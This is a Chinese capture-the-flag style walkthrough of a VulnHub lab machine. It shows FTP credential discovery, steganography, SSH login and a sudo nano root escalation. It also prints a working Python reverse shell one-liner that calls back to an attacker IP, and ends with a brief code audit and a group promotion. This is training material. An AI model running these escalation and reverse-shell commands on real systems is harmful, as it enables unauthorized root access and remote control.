每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。
每日一攻防特色:
环境攻破:以简单直白的方式攻破每日选择的渗透测试环境。
代码审计:进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。
作者:大余
发现IP地址:192.168.253.129
开启了21、80、55077等端口。
先查看一下ftp端口:
发现存在:cred.txt和welcome文件
base64解密:
champ
password
获得账号密码!
访问:http://192.168.253.129/
是个登录界面,使用密码登录:
点击About Us会下载一个文件:
发现是两个图片和一个文件,文件中说文件名很有趣,看一下图片:
Steghide是一款开源的隐写术软件,它可以让你在一张图片或者音频文件中隐藏你的秘密信息,而且你不会注意到图片或音频文件发生了任何的改变。 而且,你的秘密文件已经隐藏在了原始图片或音频文件之中了。我们来分析下:
后缀为bmp的文件需要密码,但jpg文件不需要,我们先把jpg文件的隐藏信息提取出来:
steghide extract -sf funny.jpg
提示我们需要旋转?另外一个文件我用密码sudo解密成功:
是一串乱码,刚刚提示我们把它旋转一下,猜测是rot13加密:
wtf
this one is a simple one
ssh [email protected] -p 55077
成功登录:
信息枚举linpeas发现:
su n00b
aw3s0m3p@$$w0rd
发现可以用nano编辑器,nano编辑器允许二进制文件以超级用户身份运行sudo,它不会放弃提升的权限,并可用于访问文件系统、升级或维护特权访问。
https://gtfobins.github.io/gtfobins/nano/#sudo
sudo nano
ctrl+r ,Ctrl+x
输入:reset; sh 1>&0 2>&0
成功获得root权限!!
反弹一个稳定的shell:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.253.138",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
发现存在源代码不多:
源代码分析index.php主页面调用rar文件下载,而在go.php主页面登录口通过:
$username = $password = "";
$backend_username = "champ";
$backend_password = "password";
存在明文密码存储校验问题,应该使用哈希函数对密码进行哈希存储。
其余问题,错误信息被直接输出到页面上,这可能暴露敏感信息给潜在的攻击者。建议在生产环境中将错误信息记录到日志而不是直接输出,缺少防止暴力破解、CSRF(跨站请求伪造)等攻击的措施。这可能需要进一步的安全性加固,例如使用验证码、实施账户锁定机制等会话管理可能需要进一步改进,包括在登录成功后生成会话令牌、设置适当的会话过期时间等。
通过每日一攻防,我致力于共同深探网络安全的奥秘,助力每位参与者成为网络安全领域的技术高手。立即加入大余安全,共同迎接每日新的挑战!
扫描下方二维码添加小助手,进群和大余老师一起技术探讨交流吧!
欢迎大家进入大余安全回忆录帮会,每周二&五定期更新《安全开发》、《渗透测试》系列文章,帮助大家从0基础到入门。